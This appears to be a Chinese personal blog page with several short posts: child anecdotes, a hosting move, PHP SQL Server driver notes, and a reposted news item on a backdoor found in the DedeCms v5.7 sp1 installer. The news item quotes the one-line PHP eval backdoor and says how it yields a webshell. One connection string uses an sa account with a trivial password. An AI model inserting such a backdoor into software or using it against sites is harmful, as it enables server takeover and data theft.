易栈网-膘叔

肖佑阳最近还是很有意思的啦
1、妈妈问他吃什么，他说，你不会打电话问老师吧，不打我就瞎说说吧。然后就真的乱说一通
2、每天看超级变变变，居然知道每天晚上8点半的节目，改到了7点，还知道下午3点半会重播，于是中午睡觉就有了心事，2点半醒了就不会再睡了，看着钟直到3点半。今天睡过头了，丈母娘说一定是闹钟坏了，然后他说，不是坏了，是我睡过头了。然后就很委屈的想哭。
3、基于2的故事，现在知道时间了，知道当前是几点几分。时钟上只有3、6、9、12哦，也能知道当前到底是几点钟了

。。。。突然忘了很多，看来以后还是要及时记录，不然以后就不知道怎么和他说了

看到这个标题的时候，我真的很震惊啊。

新闻内容很短，但很让人震惊，开源软件在国内已经沦落到这种地步了吗？不过，真要说dede开源也不是特别好认为，虽然代码是开源的，但其实并没有很多人为它做过贡献，而在国外，开源软件都代表了很多人参与，国内，果然还是不劳而获的人更多啊。否则象这种问题早就被人发现了。因为没有类似象SVN的工具，谁也不知道究竟这段代码是谁上传的，如果你的项目扔在google code等托管平台上，早就被N个人发现了吧。
---------------

网易科技讯 3月22日消息，瑞星与360今日对外发布警示，称国内知名的PHP开源网站管理系统织梦CMS（DedeCms）v5.7 sp1版本安装包被发现植入后门，黑客可通过此后门直接获得网站的控制权限，获取存储在服务器上的文件和数据库。

据织梦CMS官方数据显示，目前约有70万网站使用该系统搭建，涉及企业、政府机关、媒体机构、行业及个人网站等。

安全界人士分析发现，此次织梦CMS曝出的后门恶意代码存在于购物车类文件（shopcar.class.php）中，此类文件被植入一句后门代码 “@eval(file_get_contents('php://input'));”。凡是调用该购物车类的文件均会触发后门，黑客只需要构造简单的 数据包提交到服务器，就能够获取到该网站的WebShell，通过对服务器进一步渗透攻击，进而获取服务器的最高权限，直接访问服务器上的文件、数据库等 信息。（易科）

本来我是很讨厌一直迁移的，但burst一直无故挂掉，实在受不了。
一咬牙就换到了linode上面了，用ping.chinaz.com试了一下，好象电信访问的速度都比较慢，但联通线路却很快。（不过我在公司的电信光纤在最快的时候达到了100ms以下）
家里的网络是长宽，也很快，一下子欣慰了。
直接用Scp将burst的数据抓回来，很快，一下子就转换过来了。

准备向burst申请退款，NND。

http://www.microsoft.com/download/en/confirmation.aspx?id=20098
其实在很久前就有这玩意了，现在居然是3.0了。在win下用这个驱动好啊，支持最新的Sql server，而且速度很快。同时，它居然还支持了PDO。。。

下载下来很方便，有几种不同的文件，根据你当前的情况来设置：
Perform the following steps to download and install the Microsoft Drivers for PHP for SQL Server:
1. Download SQLSRV30.EXE to a temporary directory
2. Run SQLSRV30.EXE
3. When prompted, enter the path to the PHP extensions directory
4. After extracting the files, read the Installation section of the SQLSRV30_Readme.htm file for next steps
看着readme一步一步就Over了。
08年的时候根据第一版的文件写过一个很简单的连接库，替换掉了当时discuz的sql连接库。现在。。。还是用PDO吧

Conn2.Open "Provider=SQLOLEDB.1;Persist Security InFso=true;Data Source=192.168.1.2;Initial Catalog=xxxxx;User ID=sa;Password=123456;"

一些参考信息：
Integrated   Security默认值是False，此时需要提供Uid和Pwd，即将以Sql   Server   用户身份登陆数据库；如果设置为True，Yes   或   SSPI，这不能出现Uid和Pwd，将以Windows用户省份登陆数据库。强烈推荐用后一种形式，安全性更高。

参见
http://msdn.microsoft.com/library/default.asp?url=/library/en-us/cpref/html/frlrfSystemDataSqlClientSqlConnectionClassConnectionStringTopic.asp
--------
http://expert.csdn.net/Expert/topic/2930/2930660.xml?temp=.423382

Persist   Security   Info   布尔类型，为True时，表明采用集成安全机制；若为False，则表明不采用集成安全机制。

更多资料还是看：http://connectionstrings.com/，还是这个网站好玩。